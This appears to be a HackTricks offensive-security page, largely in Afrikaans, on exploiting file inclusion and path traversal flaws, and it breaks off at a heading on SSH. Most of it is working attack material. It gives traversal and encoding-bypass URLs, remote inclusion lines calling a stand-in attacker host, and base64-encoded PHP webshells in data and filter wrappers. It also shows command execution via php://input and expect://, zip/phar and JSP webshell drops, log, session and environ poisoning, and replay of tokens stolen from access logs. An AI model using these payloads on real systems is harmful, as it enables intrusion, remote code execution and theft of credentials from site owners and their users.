File Inclusion/Path traversal
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
File Inclusion
Remote File Inclusion (RFI): Die lêer word vanaf ’n afgeleë bediener gelaai (Beste: Jy kan die kode skryf en die bediener sal dit uitvoer). In php is dit standaard afgeskakel (allow_url_include).
Local File Inclusion (LFI): Die bediener laai ’n plaaslike lêer.
Die kwesbaarheid kom voor wanneer die gebruiker op een of ander manier die lêer kan beheer wat deur die bediener gelaai gaan word.
Kwetsbare PHP-funksies: require, require_once, include, include_once
’n Interessante hulpmiddel om hierdie kwesbaarheid te eksploiteer: https://github.com/kurobeats/fimap
Blind - Interessant - LFI2RCE lêers
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
*Ek het verskeie nix LFI-lyste gemeng en meer paaie bygevoeg; ek het hierdie een geskep:
Probeer ook om / met \ te vervang
Probeer ook om ../../../../../ by te voeg
’n Lys wat verskeie tegnieke gebruik om die lêer /etc/password te vind (om te kontroleer of die kwetsbaarheid bestaan) kan gevind word here
Windows
Merge of different wordlists:
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
Probeer ook om / met \ te vervang
Probeer ook om C:/ te verwyder en ../../../../../ by te voeg
’n Lys wat verskeie tegnieke gebruik om die lêer /boot.ini te vind (om te kontroleer of die kwetsbaarheid bestaan) kan gevind word here
OS X
Kyk na die LFI-lys van linux.
Basic LFI and bypasses
Al die voorbeelde is vir Local File Inclusion maar kan ook op Remote File Inclusion toegepas word (page=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd
traversal sequences nie-rekursief verwyder
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Null byte (%00)
Bypass die aanheg van meer karakters aan die einde van die verskafde string (bypass of: $_GET[‘param’].“php”)
http://example.com/index.php?page=../../../etc/passwd%00
Dit is opgelos sedert PHP 5.4
Enkodering
Jy kan nie-standaard enkoderinge gebruik soos double URL encode (en ander):
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
HTML-to-PDF SVG/IMG path traversal
Moderne HTML-to-PDF engines (bv. TCPDF of wrappers soos html2pdf) ontleed graag deur aanvallers verskafde HTML, SVG, CSS en font URLs, maar hulle loop binne vertroude backend-netwerke met toegang tot die lêerstelsel. Sodra jy HTML kan injekteer in $pdf->writeHTML()/Html2Pdf::writeHTML(), kan jy dikwels exfiltrate plaaslike lêers wat die webserver-rekening kan lees.
- Fingerprint the renderer: elke gegenereerde PDF bevat ’n
Producerveld (bv.TCPDF 6.8.2). Om die presiese build te ken laat jou weet watter padfilters bestaan en of URL decoding plaasvind voor validasie. - Inline SVG payloads:
TCPDF::startSVGElementHandler()lees diexlink:hrefattribute van<image>elements voordat diturldecode()uitvoer. Om ’n kwaadwillige SVG binne ’n data URI in te bed maak dat baie HTML sanitizers die payload ignoreer, terwyl TCPDF dit steeds ontleed:
<img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWFnZSB4bGluazpocmVmPSIuLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIGhlaWdodD0iMTAwJSIgd2lkdGg9IjEwMCUiLz48L3N2Zz4=" />
TCPDF prepends $_SERVER['DOCUMENT_ROOT'] to paths beginning with / and only later resolves .., so use either leading ../../.. segments or /../../.. to escape the root after the prepend.
- Kodering om naïewe filters te omseil: Versions ≤6.8.2 only check for the literal substring
../before decoding the URL. Sending..%2f(or..%2F) in the SVG or in a raw<img src>attribute bypasses the check, because the traversal dot-dot-slash sequence is recreated only after TCPDF callsurldecode(). - Dubbelkodering vir multi-stadia dekodering: If user input is decoded by the web framework and by TCPDF, double-encode the slash (
%252f). One decode turns it into%2f, the second decode in TCPDF turns it into/, yielding/..%252f..→/../../../…without ever showing../to the early filter. - HTML
<img>hanterer:TCPDF::openHTMLTagHandler()contains the same order-of-operations bug, allowing direct HTML payloads such assrc="%2f..%252f..%252ftmp%252fsecret.png"to read any locally reachable bitmap.
Hierdie tegniek leaks alles wat deur die PDF worker gelees kan word (passport scans, API keys rendered as images, ens.). Hardeners het dit in 6.9.1 reggestel deur paaie te kanoniseer (isRelativePath()), so during tests prioritise older Producer versions.
Vanaf bestaande gids
Miskien kontroleer die back-end die gids-pad:
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
Verkenning van lêerstelselgidse op ’n bediener
Die lêerstelsel van ’n bediener kan rekursief ondersoek word om gidse, nie net lêers nie, te identifiseer deur sekere tegnieke te gebruik. Hierdie proses behels om die gidsdiepte te bepaal en te toets vir die bestaan van spesifieke gidse. Hieronder volg ’n gedetaileerde metode om dit te bereik:
- Bepaal gidsdiepte: Bepaal die diepte van jou huidige gids deur suksesvol die
/etc/passwd-lêer te haal (van toepassing as die bediener op Linux is). ’n Voorbeeld-URL kan soos volg gestruktureer wees, wat ’n diepte van drie aandui:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- Soek na gidse: Voeg die naam van die veronderstelde gids (bv.
private) by die URL, en navigeer dan terug na/etc/passwd. Die bykomende gidsvlak vereis dat die diepte met een verhoog word:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
- Interpreteer die uitslae: Die bediener se reaksie dui aan of die gids bestaan:
- Fout / Geen Uitset: Die gids
privatebestaan waarskynlik nie op die gespesifiseerde ligging nie. - Inhoud van
/etc/passwd: Die bestaan van die gidsprivateword bevestig.
- Rekursiewe verkenning: Ontdekte gidse kan verder ondersoek word vir subgidse of lêers met dieselfde tegniek of tradisionele Local File Inclusion (LFI)-metodes.
Om gidse op verskillende plekke in die lêerstelsel te verken, pas die payload ooreenkomstig aan. Byvoorbeeld, om te kontroleer of /var/www/ private bevat (aangenome die huidige gids is op ’n diepte van 3), gebruik:
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
Path Truncation Technique
Path truncation is ’n metode wat gebruik word om lêerpaadjies in webtoepassings te manipuleer. Dit word dikwels gebruik om toegang tot beperkte lêers te kry deur sekere sekuriteitsmaatreëls te omseil wat ekstra karakters aan die einde van lêerpaadjies heg. Die doel is om ’n lêerpad te skep wat, sodra dit deur die sekuriteitsmaatreël verander is, steeds na die verlangde lêer wys.
In PHP kan verskeie voorstellings van ’n lêerpad as ekwivalent beskou word weens die aard van die lêerstelsel. Byvoorbeeld:
/etc/passwd,/etc//passwd,/etc/./passwd, and/etc/passwd/word almal as dieselfde pad behandel.- Wanneer die laaste 6 karakters
passwdis, verander die byvoeging van ’n/(waardeur ditpasswd/word) nie die geteikende lêer nie. - Net so, as
.phpaan ’n lêerpad aangeheg word (byvoorbeeldshellcode.php), sal die byvoeging van/.aan die einde nie die lêer wat bereik word, verander nie.
Die gegewe voorbeelde demonstreer hoe om path truncation te gebruik om toegang tot /etc/passwd te kry, ’n algemene teiken weens sy sensitiewe inhoud (inligting oor gebruikersrekeninge):
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
In hierdie scenario’s mag die aantal traversals wat benodig word ongeveer 2027 wees, maar hierdie aantal kan wissel afhangende van die bediener se konfigurasie.
- Using Dot Segments and Additional Characters: Traversal sequences (
../) gekombineer met ekstra dot-segmente en karakters kan gebruik word om die file system te navigeer, en effektief aangehegte stringe deur die bediener te ignoreer. - Determining the Required Number of Traversals: Deur proef-en-fout kan ’n mens die presiese aantal
../reekse vind wat nodig is om na die root directory en dan na/etc/passwdte navigeer, wat verseker dat enige aangehegte stringe (soos.php) geneutraliseer word terwyl die gewenste pad (/etc/passwd) onaangeraak bly. - Starting with a Fake Directory: Dit is algemeen om die pad te begin met ’n nie-bestaande directory (soos
a/). Hierdie tegniek word as ’n voorsorgmaatreël gebruik of om die vereistes van die bediener se path parsing logika te vervul.
Wanneer path truncation techniques toegepas word, is dit noodsaaklik om die bediener se path parsing gedrag en filesystem struktuur te verstaan. Elke scenario kan ’n ander benadering vereis, en toetsing is dikwels nodig om die mees effektiewe metode te vind.
This vulnerability was corrected in PHP 5.3.
Filter bypass tricks
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
Remote File Inclusion
In php is dit standaard gedeaktiveer omdat allow_url_include Off is. Dit moet On wees om te werk, en in daardie geval kan jy ’n PHP-lêer van jou server insluit en RCE kry:
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
As dit om een of ander rede allow_url_include Aan is, maar PHP filtreer toegang tot eksterne webbladsye, volgens hierdie pos, kan jy byvoorbeeld die data-protokol met base64 gebruik om ’n b64 PHP-kode te dekodeer en RCE te kry:
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
Blootgestelde .git Repository (Source Disclosure)
Indien die webbediener /.git/ blootgestel is, kan ’n aanvaller dikwels die volledige repository herbou (insluitend commit history) en die toepassing aflyn oudit. Dit openbaar gewoonlik hidden endpoints, secrets, SQL queries, en admin-only functionality.
Vinnige kontroles:
curl -s -i http://TARGET/.git/HEAD
curl -s -i http://TARGET/.git/config
Dump die repository met git-dumper:
uv tool install git-dumper
git-dumper http://TARGET/.git/ out/
Herstel dan die working tree:
cd out
git checkout .
Tip
In die vorige kode is die finale
+.txtbygevoeg omdat die aanvaller ’n string nodig gehad het wat op.txteindig, sodat die string daarmee eindig en na die b64 decode daardie deel net rommel teruggee en die werklike PHP-kode ingesluit word (en gevolglik uitgevoer).
Nog ’n voorbeeld wat nie die php:// protocol gebruik nie sou wees:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
Python Wortelelement
In python, in ’n kode soos hierdie:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
As die gebruiker ’n absolute pad na file_name deurgee, word die vorige pad net verwyder:
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
Dit is die beoogde gedrag volgens the docs:
As ’n komponent ’n absolute pad is, word alle vorige komponente weggegooi en die samevoeging gaan voort vanaf die absolute padkomponent.
Java Lys van gidse
Dit lyk asof, as jy ’n Path Traversal in Java het en jy vir ’n gids vra in plaas van ’n lêer, ’n lys van die gids teruggestuur word. Dit gebeur nie in ander tale nie (sover ek weet).
Top 25 parameters
Hier is ’n lys van die top 25 parameters wat kwesbaar kan wees vir local file inclusion (LFI) vulnerabilities (van link):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
LFI / RFI using PHP wrappers & protocols
php://filter
PHP filters maak dit moontlik om basiese wysigingsoperasies op die data uit te voer voordat dit gelees of geskryf word. Daar is 5 kategorieë filters:
- String Filters:
string.rot13string.toupperstring.tolowerstring.strip_tags: Verwyder tags uit die data (alles tussen die “<” en “>” karakters)- Let daarop dat hierdie filter in moderne weergawes van PHP verdwyn het
- Conversion Filters
convert.base64-encodeconvert.base64-decodeconvert.quoted-printable-encodeconvert.quoted-printable-decodeconvert.iconv.*: Transformeer na ’n ander kodering (convert.iconv.<input_enc>.<output_enc>). Om die lys van alle koderinge wat ondersteun word te kry, voer in die konsole uit:iconv -l
Warning
Deur misbruik van die
convert.iconv.*conversion filter kan jy arbitrêre teks genereer, wat nuttig kan wees om arbitrêre teks te skryf of om ’n funksie soos include arbitrêre teks te laat verwerk. Vir meer info sien LFI2RCE via php filters.
- Compression Filters
zlib.deflate: Komprimeer die inhoud (useful if exfiltrating a lot of info)zlib.inflate: Dekomprimeer die data- Encryption Filters
mcrypt.*: Deprecatedmdecrypt.*: Deprecated- Ander filters
- As jy in PHP
var_dump(stream_get_filters());uitvoer, kan jy ’n paar onverwagte filters vind: consumeddechunk: keer HTTP chunked encoding omconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
Warning
Die gedeelte “php://filter” is nie sensitief vir hoof-/kleinletters nie
Gebruik php filters as oracle om arbitêre lêers te lees
In hierdie pos word ’n tegniek voorgestel om ’n plaaslike lêer te lees sonder dat die uitvoer vanaf die bediener teruggegee word. Hierdie tegniek is gebaseer op ’n boolean exfiltration of the file (char by char) using php filters as oracle. Dit is omdat php filters gebruik kan word om ’n teks groot genoeg te maak sodat php ’n uitsondering sal gooi.
In die oorspronklike pos vind jy ’n gedetaileerde verduideliking van die tegniek, maar hier is ’n vinnige opsomming:
- Gebruik die codec
UCS-4LEom die voorste karakter van die teks by die begin te laat en sodoende die stringgrootte eksponensieel te laat toeneem. - Dit word gebruik om ’n teks te genereer wat so groot is wanneer die aanvanklike letter korrek geraai is dat php ’n fout sal veroorsaak.
- Die dechunk filter sal alles verwyder indien die eerste karakter nie ’n hex is nie, sodat ons kan weet of die eerste karakter hex is.
- Dit, gekombineer met die vorige een (en ander filters afhangend van die geraaide letter), sal ons toelaat om ’n letter aan die begin van die teks te raai deur te sien wanneer ons genoeg transformasies doen om dit nie meer ’n hexadecimal karakter te laat wees nie. Want as dit hex is, sal dechunk dit nie verwyder nie en die aanvanklike bom sal ’n php error veroorsaak.
- Die codec convert.iconv.UNICODE.CP930 transformeer elke letter na die volgende (dus na hierdie codec: a -> b). Dit stel ons in staat om te ontdek of die eerste letter byvoorbeeld ’n
ais, want as ons hierdie codec 6 keer toepas: a->b->c->d->e->f->g, is die letter nie meer ’n hexadecimal karakter nie, daarom verwyder dechunk dit nie en word die php error getrigger omdat dit saam met die aanvanklike bom vermenigvuldig. - Deur ander transformasies soos rot13 aan die begin te gebruik is dit moontlik om ander chars te leak soos n, o, p, q, r (en ander codecs kan gebruik word om ander letters na die hex-bereik te skuif).
- Wanneer die aanvanklike karakter ’n getal is, moet dit base64 encode word en die eerste 2 letters ge-leak word om die getal te leak.
- Die finale probleem is om te sien hoe om meer as die aanvanklike letter te leak. Deur order memory filters soos convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE te gebruik, is dit moontlik om die volgorde van die karakters te verander en ander letters van die teks in die eerste posisie te kry.
- En om verder data te kan bekom, is die idee om 2 bytes vuildata aan die begin te genereer met convert.iconv.UTF16.UTF16, pas UCS-4LE toe om dit te laat pivot met die volgende 2 bytes, en verwyder die data tot by die vuildata (dit sal die eerste 2 bytes van die aanvanklike teks verwyder). Gaan voort hiermee totdat jy die gemikte bit bereik om te leak.
In die pos is ’n tool om dit outomaties uit te voer ook leaked: php_filters_chain_oracle_exploit.
php://fd
Hierdie wrapper laat toe om toegang te kry tot file descriptors wat die proses oop het. Potensieel nuttig om die inhoud van geopende lêers te exfiltrate:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
Jy kan ook php://stdin, php://stdout and php://stderr gebruik om onderskeidelik toegang te kry tot die file descriptors 0, 1 and 2 (nie seker hoe dit in ’n aanval nuttig kan wees nie)
zip:// and rar://
Laai ’n Zip- of Rar-lêer op met ’n PHPShell daarin en kry toegang daartoe.
Om die rar-protocol te kan misbruik moet dit spesifiek geaktiveer word.
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Let wel dat hierdie protocol deur php-konfigurasies allow_url_open en allow_url_include beperk word
expect://
Expect moet geaktiveer wees. Jy kan kode hiermee uitvoer:
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
Spesifiseer jou payload in die POST parameters:
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
phar://
’n .phar-lêer kan gebruik word om PHP-kode uit te voer wanneer ’n webtoepassing funksies soos include vir lêerlaai gebruik. Die onderstaande PHP-kodefragment demonstreer die skepping van ’n .phar-lêer:
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
Om die .phar-lêer te kompileer, moet die volgende opdrag uitgevoer word:
php --define phar.readonly=0 create_path.php
By uitvoering sal ’n lêer met die naam test.phar geskep word, wat moontlik benut kan word om Local File Inclusion (LFI)-kwesbaarhede uit te buit.
In gevalle waar die LFI slegs lêerlees uitvoer sonder om die PHP-kode binne te laat uitvoer, deur funksies soos file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), of filesize(), kan ’n deserialization vulnerability probeer word. Hierdie kwesbaarheid hou verband met die lees van lêers deur die phar-protokol.
For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar files, refer to the document linked below:
Phar Deserialization Exploitation Guide
CVE-2024-2961
Dit was moontlik om any arbitrary file read from PHP that supports php filters te misbruik om ’n RCE te kry. Die gedetailleerde beskrywing kan found in this post.
Baie vinnige samevatting: ’n 3 byte overflow in die PHP heap is misbruik om alter the chain of free chunks van ’n spesifieke grootte te verander sodat dit moontlik was om write anything in any address, daarom is ’n hook bygevoeg om system aan te roep.
Dit was moontlik om chunks van spesifieke groottes te alloc deur meer php filters te misbruik.
Meer protokolle
Kyk na meer moontlike protocols to include here:
- php://memory and php://temp — Skryf in geheue of in ’n tydelike lêer (nie seker hoe dit bruikbaar kan wees in ’n file inclusion attack nie)
- file:// — Toegang tot plaaslike lêerstelsel
- http:// — Toegang tot HTTP(s) URLs
- ftp:// — Toegang tot FTP(s)-URL’s
- zlib:// — Kompressiestrome
- glob:// — Soek padname wat by ’n patroon pas (Dit lewer niks printbaars op nie, dus nie regtig bruikbaar hier nie)
- ssh2:// — Secure Shell 2
- ogg:// — Audiostrome (Nie nuttig om arbitrêre lêers te lees nie)
LFI via PHP se ‘assert’
Local File Inclusion (LFI)-risiko’s in PHP is besonder hoog wanneer daar met die ‘assert’ funksie gewerk word, aangesien dit kode binne stringe kan uitvoer. Dit is veral problematies as insette wat directory traversal-karakters soos “..” bevat, nagegaan word maar nie behoorlik gesuiwer word nie.
Byvoorbeeld, PHP-kode kan ontwerp wees om directory traversal te voorkom soos volg:
assert("strpos('$file', '..') === false") or die("");
Alhoewel dit daarop gemik is om traversal te voorkom, skep dit onbedoeld ’n vektor vir code injection. Om dit uit te buit om lêerinhalte te lees, kan ’n aanvaller gebruik:
' and die(highlight_file('/etc/passwd')) or '
Op dieselfde wyse, om willekeurige stelselopdragte uit te voer, kan iemand gebruik:
' and die(system("id")) or '
It’s important to URL-encode these payloads.
PHP Blind Path Traversal
Warning
Hierdie tegniek is relevant in gevalle waar jy die file path van ’n PHP function beheer wat ’n file sal toegang, maar jy sal nie die inhoud van die file sien (soos ’n eenvoudige oproep na
file()) nie, en die inhoud word nie getoon nie.
In this incredible post it’s explained how a blind path traversal can be abused via PHP filter to exfiltrate the content of a file via an error oracle.
As opsomming, die tegniek gebruik die “UCS-4LE” encoding om die inhoud van ’n file so groot te maak dat die PHP function wat die file oopmaak ’n error sal veroorsaak.
Dan, om die eerste char te leak word die filter dechunk gebruik saam met ander filters soos base64 of rot13 en uiteindelik word die filters convert.iconv.UCS-4.UCS-4LE en convert.iconv.UTF16.UTF-16BE gebruik om ander chars aan die beginning te plaas en hulle te leak.
Functions that might be vulnerable: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs
For the technical details check the mentioned post!
LFI2RCE
Arbitrary File Write via Path Traversal (Webshell RCE)
Wanneer server-side code wat files insleef/uploads die bestemmingspad bou met data wat deur die gebruiker beheer word (bv. ’n filename of URL) sonder om dit te canonicalise en te valideer, kan .. segmente en absolute paths uit die beoogde directory ontsnap en ’n arbitrary file write veroorsaak. As jy die payload onder ’n web-exposed directory kan plaas, kry jy gewoonlik unauthenticated RCE deur ’n webshell neer te sit.
Typical exploitation workflow:
- Identify a write primitive in an endpoint or background worker that accepts a path/filename and writes content to disk (e.g., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
- Determine web-exposed directories. Common examples:
- Apache/PHP:
/var/www/html/ - Tomcat/Jetty:
<tomcat>/webapps/ROOT/→ dropshell.jsp - IIS:
C:\inetpub\wwwroot\→ dropshell.aspx - Craft a traversal path that breaks out of the intended storage directory into the webroot, and include your webshell content.
- Browse to the dropped payload and execute commands.
Notes:
- The vulnerable service that performs the write may listen on a non-HTTP port (e.g., a JMF XML listener on TCP 4004). The main web portal (different port) will later serve your payload.
- On Java stacks, these file writes are often implemented with simple
File/Pathsconcatenation. Lack of canonicalisation/allow-listing is the core flaw.
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>
Verharding wat hierdie tipe foute keer:
- Los dit op na ’n kanonieke pad en dwing af dat dit onder ’n toegelate basismap val.
- Weier enige pad wat
.., absolute wortels, of stasieletters bevat; verkies gegenereerde lêersname. - Voer die skrywer as ’n laag-privilegieerde gebruiker uit en skei skryf-direktorieë van die gediende wortels.
Remote File Inclusion
Voorheen verduidelik, follow this link.
Deur Apache/Nginx loglêer
As die Apache- of Nginx-bediener vatbaar is vir LFI binne die include-funksie, kan jy probeer toegang te kry tot /var/log/apache2/access.log of /var/log/nginx/access.log, die user agent of ’n GET parameter gebruik om ’n php shell soos <?php system($_GET['c']); ?> te plaas, en daardie lêer in te sluit
Warning
Let daarop dat as jy dubbele aanhalingstekens gebruik vir die shell in plaas van enkele aanhalingstekens, sal die dubbele aanhalingstekens verander word na die string “quote;”, PHP sal daar ’n fout gooi en niks anders sal uitgevoer word.
Maak ook seker dat jy die payload korrek skryf, anders sal PHP elke keer ’n fout gooi wanneer dit probeer om die loglêer te laai en sal jy nie ’n tweede geleentheid hê nie.
Dit kan ook met ander loglêers gedoen word, maar wees versigtig, die kode in die logs kan URL-gekodeer wees en dit kan die Shell vernietig. Die header authorisation “basic” bevat “user:password” in Base64 en dit word in die logs ontsleutel. Die PHPShell kan binne hierdie header ingespuit word.
Ander moontlike logpaaie:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Lees access logs om GET-based auth tokens te oes (token replay)
Baie apps aanvaar per ongeluk session/auth tokens via GET (e.g., AuthenticationToken, token, sid). As jy ’n path traversal/LFI primitive het na web server access logs, kan jy daardie tokens uit die access logs steel en hulle replay om authentication heeltemal te omseil.
Hoe om:
- Gebruik die traversal/LFI om die web server access log te lees. Algemene lokasies:
- /var/log/apache2/access.log, /var/log/httpd/access_log
- /var/log/nginx/access.log
- Sommige endpoints return file reads Base64-encoded. Indien wel, decodeer dit lokaal en inspekteer die log lines.
- Grep vir GET requests wat ’n token parameter insluit en vang sy waarde, en replay dit teen die application entry point.
Voorbeeldvloei (generies):
GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target
Dekodeer die body as dit Base64 is, dan replay ’n captured token:
GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target
Aantekeninge:
- Tokens in URLs word standaard gelog; aanvaar nooit bearer tokens via GET in produksie-omgewings.
- As die app verskeie tokenname ondersteun, soek vir algemene sleutels soos AuthenticationToken, token, sid, access_token.
- Roteer enige tokens wat moontlik na logs leaked het.
Deur E-pos
Stuur ’n e-pos na ’n interne rekening (user@localhost) wat jou PHP payload bevat soos <?php echo system($_REQUEST["cmd"]); ?> en probeer dit insluit in die gebruiker se mail met ’n pad soos /var/mail/<USERNAME> of /var/spool/mail/<USERNAME>
Deur /proc//fd/
- Laai baie shells op (byvoorbeeld: 100)
- Include http://example.com/index.php?page=/proc/$PID/fd/$FD, met $PID = PID van die proses (kan deur brute force geramd word) en $FD die file descriptor (kan ook deur brute force geramd word)
Deur /proc/self/environ
Soos ’n loglêer, stuur die payload in die User-Agent; dit sal binne die /proc/self/environ lêer gereflekteer word
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
Deur upload
As jy ’n lêer kan upload, voeg net die shell payload daarin (bv.: <?php system($_GET['c']); ?>).
http://example.com/index.php?page=path/to/uploaded/file.png
Om die lêer leesbaar te hou, is dit die beste om dit in die metadata van die foto’s/dokumente/pdf in te voeg
Via ZIP-lêer oplaai
Laai ’n ZIP-lêer op wat ’n PHP shell bevat en gekompresseer is, en kry toegang:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
Deur PHP sessions
Kontroleer of die webwerf PHP Session (PHPSESSID) gebruik.
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
In PHP word hierdie sessies gestoor in /var/lib/php5/sess\[PHPSESSID]_ lêers
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
Stel die cookie in op <?php system('cat /etc/passwd');?>
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
Gebruik die LFI om die PHP-sessie-lêer in te sluit
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
Deur ssh
